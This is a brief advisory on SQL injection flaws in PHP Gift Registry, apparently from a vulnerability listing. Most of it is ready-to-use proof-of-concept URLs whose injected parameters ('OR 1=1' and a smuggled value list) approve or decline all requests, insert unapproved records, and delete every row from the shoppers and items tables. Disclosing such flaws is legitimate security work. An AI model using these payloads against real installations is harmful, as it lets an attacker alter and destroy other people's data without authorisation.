|
PHP Gift Registry Multiple SQL Injection Vulnerabilities
No exploit is required and the following proof of concepts were provided by the discoverer of this vulnerability: Acknowledge all messages http://www.example.com/phpgiftreg/index.php?action=ack&messageid=2%20OR%201%3d1 Approve all pending requests http://www.example.com/phpgiftreg/index.php?action=approve&shopper=1%20OR%201%3d1 Decline all pending requests http://www.example.com/phpgiftreg/index.php?action=decline&shopper=1%20OR%201%3d1 Inserts current shopper for buying to user 3 without need for approval http://www.example.com/phpgiftreg/index.php?action=request&shopfor=3%2c0%29%2c%2899%2c100 Delete all data from table shoppers http://www.example.com/phpgiftreg/index.php?action=cancel&shopfor=3%20OR%201%3d1 Delete all data from table items http://www.example.com/phpgiftreg/item.php?action=delete&itemid=3%20OR%201%3d1 |
|
 Privacy Statement |
